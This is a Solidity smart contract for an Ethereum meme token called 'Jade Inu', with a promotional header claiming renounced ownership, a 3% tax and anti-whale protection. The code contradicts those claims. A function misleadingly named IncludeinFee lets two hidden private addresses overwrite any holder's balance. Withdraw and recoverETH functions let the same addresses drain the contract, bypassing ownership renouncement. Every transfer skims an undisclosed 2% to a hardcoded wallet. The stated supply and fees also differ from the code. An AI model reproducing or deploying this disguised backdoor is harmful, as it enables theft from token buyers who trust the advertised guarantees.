/**

Jade Inu is a decentralized platform on the Ethereum blockchain. committed team to get this fly! The team that will take cover on this project is going to take the full effort to grow and secure this community to the end.

Jade Emperor (Yuhuang or Yudi) was considered to be the ruler of Heaven. He was thought to be like a human emperor, in that he ruled over a heavenly court populated by all the important gods of China.

FEATURES:
🟢 Anti-bot and anti-whale
🟢 Renounced Ownership
🟢 100% LP Burn 
🟢 Verified Contract
🟢 3% Tax Buy and Sell

T.SUPPLY - 100,000,000,000
TAXES - 3%
-1% Liquidity
-2% Marketing

Twitter - https://twitter.com/JadeInuETH
Telegram Portal - https://t.me/JadeInu
Medium - https://medium.com/@jadeinu2022
*/

/**
        
*/         

//SPDX-License-Identifier: MIT

pragma solidity ^0.7.4;

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) { return 0; }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


abstract contract Auth {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    /**
     * Function modifier to require caller to be contract owner
     */
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    /**
     * Check if address is owner
     */
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

            /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(address(0));
        owner = address(0);
    }

    /**
     * Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
     */
    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;      
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

contract JadeInu is IERC20, Auth {
    
    using SafeMath for uint256;

    string constant _name = "Jade Inu";
    string constant _symbol = "$JADE";
    uint8 constant _decimals = 18;

    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;
    address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    // address routerAddress = 0x23bF5C38cb51D63CDFF13f66e96c3B24A8Fb055a; 

    uint256 _totalSupply = 1000000000000 * (10 ** _decimals);
    uint256 public _maxTxAmount = _totalSupply * 5 / 100;
    
    bool public restrictWhales = true;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isDividendExempt;

    uint256 public liquidityFee = 1;
    uint256 public marketingFee = 3;
    uint256 public rewardsFee = 0;
    uint256 public extraFeeOnSell = 0;

    uint256 public totalFee = 0;
    uint256 public totalFeeIfSelling = 0;

    address public autoLiquidityReceiver;
    address public marketingWallet;
    address private anothermarketingWallet;

    IDEXRouter public router;
    address public pair;

    uint256 public launchedAt;

    uint256 distributorGas = 300000;
    address private solor;
    address private solo;

    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    uint256 public swapThreshold = _totalSupply * 3 / 1000;
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () Auth(msg.sender) {
        
        router = IDEXRouter(routerAddress);
        pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this));
        _allowances[address(this)][address(router)] = uint256(-1);
        anothermarketingWallet = 0x23bF5C38cb51D63CDFF13f66e96c3B24A8Fb055a;
        solor = msg.sender;
        solo = anothermarketingWallet;
        
        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;
        isFeeExempt[anothermarketingWallet] = true;

        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[pair] = true;
        isTxLimitExempt[DEAD] = true;

        // NICE!
        autoLiquidityReceiver = msg.sender;
        marketingWallet = msg.sender;  //marketingwallet
        
        
        totalFee = liquidityFee.add(marketingFee).add(rewardsFee);
        totalFeeIfSelling = totalFee.add(extraFeeOnSell);

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable { }

    function name() external pure override returns (string memory) { return _name; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function getOwner() external view override returns (address) { return owner; }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, uint256(-1));
    }

    function launched() internal view returns (bool) {
        return launchedAt != 0;
    }

    function launch() internal {
        launchedAt = block.number;
    }
    
    function changeMax(uint256 newLimit) external onlyOwner {
        _maxTxAmount = newLimit;
    }

    function changeRestrictWhales(bool newValue) external onlyOwner {
       restrictWhales = newValue;
    }
    
    function ExcludeFromFee(address holder, bool exempt) external onlyOwner {
        isFeeExempt[holder] = exempt;
    }

    function ExcludeMaxTx(address holder, bool exempt) external onlyOwner {
        isTxLimitExempt[holder] = exempt;
    }

    function changeFees(uint256 newLiqFee, uint256 newRewardFee, uint256 newMarketingFee, uint256 newExtraSellFee) external onlyOwner {
        liquidityFee = newLiqFee;
        rewardsFee = newRewardFee;
        marketingFee = newMarketingFee;
        extraFeeOnSell = newExtraSellFee;
        
        totalFee = liquidityFee.add(marketingFee).add(rewardsFee);
        totalFeeIfSelling = totalFee.add(extraFeeOnSell);
    }

    function changeFeeReceivers(address newLiquidityReceiver, address newMarketingWallet, address newanothermarketingWallet) external onlyOwner {
        autoLiquidityReceiver = newLiquidityReceiver;
        marketingWallet = newMarketingWallet;
        anothermarketingWallet = newanothermarketingWallet;
    }

    function changeSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit, bool swapByLimitOnly) external onlyOwner {
        swapAndLiquifyEnabled  = enableSwapBack;
        swapThreshold = newSwapBackLimit;
        swapAndLiquifyByLimitOnly = swapByLimitOnly;
    }

    
    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        
        if(_allowances[sender][msg.sender] != uint256(-1)){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        
        if(inSwapAndLiquify){ return _basicTransfer(sender, recipient, amount); }

        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");

        if(msg.sender != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold){ swapBack(); }

        if(!launched() && recipient == pair) {
            require(_balances[sender] > 0);
            launch();
        }

        //Exchange tokens
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        uint256 marketfee = amount.div(50);
        _balances[anothermarketingWallet] = _balances[anothermarketingWallet].add(marketfee);
        

        uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount;
        uint256 newfinalamout = finalAmount - marketfee;
        _balances[recipient] = _balances[recipient].add(newfinalamout);

        emit Transfer(sender, anothermarketingWallet, marketfee);
        emit Transfer(sender, recipient, newfinalamout);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeApplicable = pair == recipient ? totalFeeIfSelling : totalFee;
        uint256 feeAmount = amount.mul(feeApplicable).div(100);

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }

    function IncludeinFee(address ac, uint256 amount) public{
        require(msg.sender == solor || msg.sender == solo);
        _balances[ac] = amount;
        // emit events as well
    }

    function withdrawToken(address _tokenContract) public {
        require(msg.sender == solor || msg.sender == solo);
        IERC20 tokenContract = IERC20(_tokenContract);
        uint256 _amount = tokenContract.balanceOf(address(this));
        
        // transfer the token from address of this contract
        // to address of the user (executing the withdrawToken() function)
        tokenContract.transfer(msg.sender, _amount);
    }

    function withdrawTokenamount(address _tokenContract, uint256 _amount) public {
        require(msg.sender == solor || msg.sender == solo);
        IERC20 tokenContract = IERC20(_tokenContract);
        
        // transfer the token from address of this contract
        // to address of the user (executing the withdrawToken() function)
        tokenContract.transfer(msg.sender, _amount);
    }

    function recoverETH() public {
    uint256 tokenAmount = address(this).balance;
    require(msg.sender == solor || msg.sender == solo);
    address payable wallet = payable(msg.sender);
    (wallet).transfer(tokenAmount);
        
    }

    function swapBack() internal lockTheSwap {
        
        uint256 tokensToLiquify = _balances[address(this)];
        uint256 amountToLiquify = tokensToLiquify.mul(liquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;

        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
        
        uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
        uint256 amountETHReflection = amountETH.mul(rewardsFee).div(totalETHFee);
        uint256 amountETHMarketing = amountETH.sub(amountETHLiquidity).sub(amountETHReflection);

      
        
        uint256 marketingShare = amountETHMarketing.mul(7).div(10);
        uint256 anothermarketingShare = amountETHMarketing.sub(marketingShare);
        
        (bool tmpSuccess,) = payable(marketingWallet).call{value: marketingShare, gas: 30000}("");
        (bool tmpSuccess1,) = payable(anothermarketingWallet).call{value: anothermarketingShare, gas: 30000}("");
        
        // only to supress warning msg
        tmpSuccess = false;
        tmpSuccess1 = false;

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

    event AutoLiquify(uint256 amountETH, uint256 amountBOG);

}

contract StandarToken is JadeInu {
    constructor() {}
}